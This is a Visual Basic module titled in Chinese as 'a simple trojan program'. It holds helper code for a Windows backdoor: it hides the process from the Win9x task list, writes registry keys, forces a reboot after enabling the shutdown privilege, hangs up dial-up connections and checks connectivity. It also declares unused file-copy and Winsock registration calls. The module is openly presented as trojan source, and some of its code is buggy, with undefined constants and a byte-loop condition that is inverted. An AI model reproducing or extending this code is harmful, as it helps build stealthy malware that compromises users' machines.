funcoes.bas

一个简单的木马程式

Declare Function GetVersionEx Lib "Kernel32" Alias "GetVersionExA" (ByRef lpVersionInformation As OSVERSIONINFO) As Long
Public Declare Function GetSystemDirectory Lib "kernel32.dll" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Public Declare Function GetWindowsDirectory Lib "kernel32.dll" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Public Declare Function OpenProcess Lib "Kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Public Declare Function RegisterServiceProcess Lib "kernel32.dll" (ByVal dwProcessId As Long, ByVal dwType As Long) As Long
Public Declare Function EnableWindow Lib "user32" (ByVal hwnd As Integer, ByVal aBOOL As Integer) As Integer
Public Declare Function IsWindowEnabled Lib "user32" (ByVal hwnd As Integer) As Integer
Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Declare Function RasEnumConnections Lib "RasApi32.dll" Alias "RasEnumConnectionsA" (lpRasConn As Any, lpcb As Long, lpcConnections As Long) As Long
Declare Function RasHangUp Lib "RasApi32.dll" Alias "RasHangUpA" (ByVal hRasConn As Long) As Long
Public Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long
Public Declare Function ExitWindowsEx Lib "user32" (ByVal uFlags As Long, ByVal dwReserved As Long) As Long
Public Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Public Declare Function RegCreateKeyEx Lib "advapi32.dll" Alias "RegCreateKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal Reserved As Long, ByVal lpClass As String, ByVal dwOptions As Long, ByVal samDesired As Long, ByVal lpSecurityAttributes As Long, phkResult As Long, lpdwDisposition As Long) As Long
Public Declare Function RegOpenKey Lib "advapi32.dll" Alias " RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Public Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long
Public Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long
Public Declare Function RegQueryValueExString Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, ByVal lpData As String, lpcbData As Long) As Long
Public Declare Function RegQueryValueExLong Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Long, lpcbData As Long) As Long
Public Declare Function RegQueryValueExNULL Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, ByVal lpData As Long, lpcbData As Long) As Long
Public Declare Function RegSetValueExString Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, ByVal lpValue As String, ByVal cbData As Long) As Long
Public Declare Function RegSetValueExLong Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpValue As Long, ByVal cbData As Long) As Long

Global Const EWX_REBOOT = 2

Public Const ANYSIZE_ARRAY = 1

Type LARGE_INTEGER
     lowpart As Long
     highpart As Long
End Type

Type LUID_AND_ATTRIBUTES
     pLuid As LARGE_INTEGER
     Attributes As Long
End Type

Type TOKEN_PRIVILEGES
     PrivilegeCount As Long
     Privileges(ANYSIZE_ARRAY) As LUID_AND_ATTRIBUTES
End Type

Declare Function LookupPrivilegeValue Lib "advapi32.dll" Alias "LookupPrivilegeValueA" (ByVal lpSystemName As String, ByVal lpName As String, lpLuid As LARGE_INTEGER) As Long
Declare Function GetCurrentProcess Lib "Kernel32" () As Long
Declare Function AdjustTokenPrivileges Lib "advapi32.dll" (ByVal TokenHandle As Long, ByVal DisableAllPrivileges As Long, NewState As TOKEN_PRIVILEGES, ByVal BufferLength As Long, PreviousState As TOKEN_PRIVILEGES, ReturnLength As Long) As Long
Declare Function OpenProcessToken Lib "advapi32.dll" (ByVal ProcessHandle As Long, ByVal DesiredAccess As Long, TokenHandle As Long) As Long



Public Const REG_SZ As Long = 1
Public Const REG_BINARY As Long = 3
Public Const REG_DWORD As Long = 4
Public Const HKEY_CLASSES_ROOT = &H80000000
Public Const HKEY_CURRENT_USER = &H80000001
'Public Const HKEY_LOCAL_MACHINE = &H80000002



Public Const RAS_MAXENTRYNAME As Integer = 256
Public Const RAS_MAXDEVICETYPE As Integer = 16
Public Const RAS_MAXDEVICENAME As Integer = 128
Public Const RAS_RASCONNSIZE As Integer = 412

Public Type RasEntryName
    dwSize As Long
    szEntryName(RAS_MAXENTRYNAME) As Byte
End Type

Public Type RasConn
    dwSize As Long
    hRasConn As Long
    szEntryName(RAS_MAXENTRYNAME) As Byte
    szDeviceType(RAS_MAXDEVICETYPE) As Byte
    szDeviceName(RAS_MAXDEVICENAME) As Byte
End Type
Type OSVERSIONINFO
   dwOSVersionInfoSize As Long
   dwMajorVersion As Long
   dwMinorVersion As Long
   dwBuildNumber As Long
   dwPlatformId As Long
   szCSDVersion As String * 128
End Type


Global cSystemDiretorio As String
Global cBuffer As String * 255
Global xAnswer As String

Public Declare Function CopyFile Lib "Kernel32" Alias "CopyFileA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long

Public Declare Function RegMSWINSCK Lib "MSWINSCK.OCX" Alias "DllRegisterServer" () As Long

'Declare Function RasEnumConnections Lib "RasApi32.dll" Alias "RasEnumConnectionsA" (lpRasConn As Any, lpcb As Long, lpcConnections As Long) As Long
Declare Function RasGetConnectStatus Lib "RasApi32.dll" Alias "RasGetConnectStatusA" (ByVal hRasCon As Long, lpStatus As Any) As Long

'Public Declare Function GetSystemDirectory Lib "kernel32.dll" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long

Const RAS95_MaxEntryName = 256
Const RAS95_MaxDeviceType = 16
Const RAS95_MaxDeviceName = 32

Private Type RASCONN95
    dwSize As Long
    hRasCon As Long
    szEntryName(RAS95_MaxEntryName) As Byte
    szDeviceType(RAS95_MaxDeviceType) As Byte
    szDeviceName(RAS95_MaxDeviceName) As Byte
End Type

Private Type RASCONNSTATUS95
    dwSize As Long
    RasConnState As Long
    dwError As Long
    szDeviceType(RAS95_MaxDeviceType) As Byte
    szDeviceName(RAS95_MaxDeviceName) As Byte
End Type

Global cDiretorioWindows As String
Global cDiretorioSystem As String
Global cAppDirectory As String
Global ccomputer As String



Public Sub HangUp()
   Dim lpRasConn(255) As RasConn
   Dim lpcb As Long
   Dim lpcConnections As Long
   Dim hRasConn As Long
   Dim nLoop As Long

   lpRasConn(0).dwSize = RAS_RASCONNSIZE
   lpcb = RAS_MAXENTRYNAME * lpRasConn(0).dwSize
   lpcConnections = 0

   ReturnCode = RasEnumConnections(lpRasConn(0), lpcb, lpcConnections)
   If ReturnCode = ERROR_SUCCESS Then
      For nLoop = 0 To lpcConnections - 1
          If Trim(ByteToString(lpRasConn(nLoop).szEntryName)) = Trim(gstrISPName) Then
             hRasConn = lpRasConn(nLoop).hRasConn
             ReturnCode = RasHangUp(ByVal hRasConn)
          End If
      Next
   End If
End Sub
Public Function ByteToString(bytString() As Byte) As String
   Dim nLoop As Integer

   ByteToString = ""
   nLoop = 0
   While bytString(nLoop) = 0&
      ByteToString = ByteToString & Chr(bytString(nLoop))
      nLoop = nLoop + 1
   Wend
End Function

Sub Main()
   
   cAppDirectory = App.Path

   If Right(cAppDirectory, 1) <> "\" Then
      cAppDirectory = cAppDirectory + "\"
   End If

   If App.PrevInstance Then
      End
   End If

   lWindowsNT = False
   xAnswer = VersaoWindows()

   If Not lWindowsNT Then
      xAnswer = RegisterServiceProcess(0, 1)
   End If

   xAnswer = GetSystemDirectory(cBuffer, Len(cBuffer))
   cDiretorioSystem = Left(cBuffer, xAnswer)
   
   xAnswer = GetWindowsDirectory(cBuffer, Len(cBuffer))
   cDiretorioWindows = Left(cBuffer, xAnswer)

   If Right(cDiretorioSystem, 1) <> "\" Then
      cDiretorioSystem = cDiretorioSystem + "\"
   End If
   If Right(cDiretorioWindows, 1) <> "\" Then
      cDiretorioWindows = cDiretorioWindows + "\"
   
End If

End Sub
Public Function RemoveChr0(cString As String)
   While Right(cString, 1) = Chr$(0)
      cString = Left(cString, Len(cString) - 1)
   Wend

   RemoveChr0 = cString
End Function
Public Sub SetKeyValue(ByVal hKey As Long, sKeyName As String, sValueName As String, vValueSetting As Variant, lValueType As Long)
   Dim lRetVal As Long

   lRetVal = RegOpenKeyEx(hKey, sKeyName, 0, KEY_ALL_ACCESS, hKey)
   lRetVal = SetValueEx(hKey, sValueName, lValueType, vValueSetting)

   RegCloseKey (hKey)
End Sub

Public Function QueryValue(ByVal hKey As Long, sKeyName As String, sValueName As String) As String
   Dim lRetVal As Long
   Dim vValue As Variant

   lRetVal = RegOpenKeyEx(hKey, sKeyName, 0, KEY_ALL_ACCESS, hKey)
   lRetVal = QueryValueEx(hKey, sValueName, vValue)

   QueryValue = vValue
   RegCloseKey (hKey)
End Function
Public Function SetValueEx(ByVal hKey As Long, sValueName As String, lType As Long, vValue As Variant) As Long
   Dim lValue As Long
   Dim sValue As String

   Select Case lType
      Case REG_SZ
           sValue = vValue & Chr$(0)
           SetValueEx = RegSetValueExString(hKey, sValueName, 0&, lType, sValue, Len(sValue))
      Case REG_DWORD
           lValue = vValue
           SetValueEx = RegSetValueExLong(hKey, sValueName, 0&, lType, lValue, 4)
   End Select
End Function
Public Sub CreateNewKey(sNewKeyName As String, lPredefinedKey As Long)
   Dim hNewKey As Long
   Dim lRetVal As Long

   lRetVal = RegCreateKeyEx(lPredefinedKey, sNewKeyName, 0&, vbNullString, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, 0&, hNewKey, lRetVal)
   RegCloseKey (hNewKey)
End Sub
Public Function VersaoWindows() As String
   Dim myOS As OSVERSIONINFO
   Dim cSystem As String
   Dim lResult As Long

   myOS.dwOSVersionInfoSize = Len(myOS)
   lResult = GetVersionEx(myOS)
   lWindowsNT = False

   If myOS.dwPlatformId = VER_PLATFORM_WIN32_NT Then
      cSystem = "Windows NT "
      lWindowsNT = True
   ElseIf myOS.dwPlatformId = VER_PLATFORM_WIN32_WINDOWS Then
      cSystem = "Windows 95/98 "
   ElseIf myOS.dwPlatformId = VER_PLATFORM_WIN32s Then
      cSystem = "Win32s "
   Else
      cSystem = "Indefinido "
   End If

   VersaoWindows = cSystem & _
                   myOS.dwMajorVersion & "." & _
                   myOS.dwMinorVersion & " " & _
                   Trim(myOS.dwBuildNumber) & " " & _
                   Trim(RemoveChr0(myOS.szCSDVersion))
End Function
Function QueryValueEx(ByVal lhKey As Long, ByVal szValueName As String, vValue As Variant) As Long
   On Error GoTo QueryValueExError

   Dim cch As Long
   Dim lrc As Long
   Dim lType As Long
   Dim lValue As Long
   Dim nLoop As Long
   Dim sValue As String
   Dim sBinaryString As String

   lrc = RegQueryValueExNULL(lhKey, szValueName, 0&, lType, 0&, cch)

   If lrc <> ERROR_NONE Then Error 5
   Select Case lType
      Case REG_SZ:
           sValue = String(cch, 0)
           lrc = RegQueryValueExString(lhKey, szValueName, 0&, lType, sValue, cch)

           If lrc = ERROR_NONE Then
              vValue = Left$(sValue, cch - 1)
           Else
              vValue = Empty
           End If

      Case REG_BINARY
           sValue = String(cch, 0)
           lrc = RegQueryValueExString(lhKey, szValueName, 0&, lType, sValue, cch)

           If lrc = ERROR_NONE Then
              vValue = sValue
           Else
              vValue = Empty
           End If

           sBinaryString = ""
           For nLoop = 1 To Len(sValue)
               sBinaryString = sBinaryString & Format$(Hex(Asc(Mid$(vValue, nLoop, 1))), "00") & " "
           Next
           vValue = sBinaryString

      Case REG_DWORD:
           lrc = RegQueryValueExLong(lhKey, szValueName, 0&, lType, lValue, cch)
           If lrc = ERROR_NONE Then vValue = lValue

      Case Else
           lrc = -1
   End Select

QueryValueExExit:
   QueryValueEx = lrc
   Exit Function

QueryValueExError:
   Resume QueryValueExExit
End Function
Public Function RebootSystem() As Boolean
   Dim hToken As Long
   Dim lAnswer As Long
   Dim tkp As TOKEN_PRIVILEGES
   Dim tkpOld As TOKEN_PRIVILEGES
   Dim fOkReboot As Boolean

   If lWindowsNT Then
      If OpenProcessToken(GetCurrentProcess(), _
              TOKEN_ADJUST_PRIVILEGES Or TOKEN_QUERY, hToken) Then

         lAnswer = LookupPrivilegeValue(vbNullString, "SeShutdownPrivilege", tkp.Privileges(0).pLuid)

         tkp.PrivilegeCount = 1
         tkp.Privileges(0).Attributes = SE_PRIVILEGE_ENABLED

         fOkReboot = AdjustTokenPrivileges(hToken, 0, tkp, LenB(tkpOld), tkpOld, lAnswer)
      End If

   Else
      fOkReboot = True
   End If

   If fOkReboot Then
      RebootSystem = (ExitWindowsEx(EWX_REBOOT, 0) <> 0)
   End If
End Function


Public Function InternetConnected() As Boolean
   Dim TRasCon(255) As RASCONN95
   Dim lg As Long
   Dim lpcon As Long
   Dim Tstatus As RASCONNSTATUS95

   TRasCon(0).dwSize = 412
   lg = 256 * TRasCon(0).dwSize

   If RasEnumConnections(TRasCon(0), lg, lpcon) = 0 Then
      Tstatus.dwSize = 160
      RasGetConnectStatus TRasCon(0).hRasCon, Tstatus

      InternetConnected = (Tstatus.RasConnState = &H2000)
   End If
End Function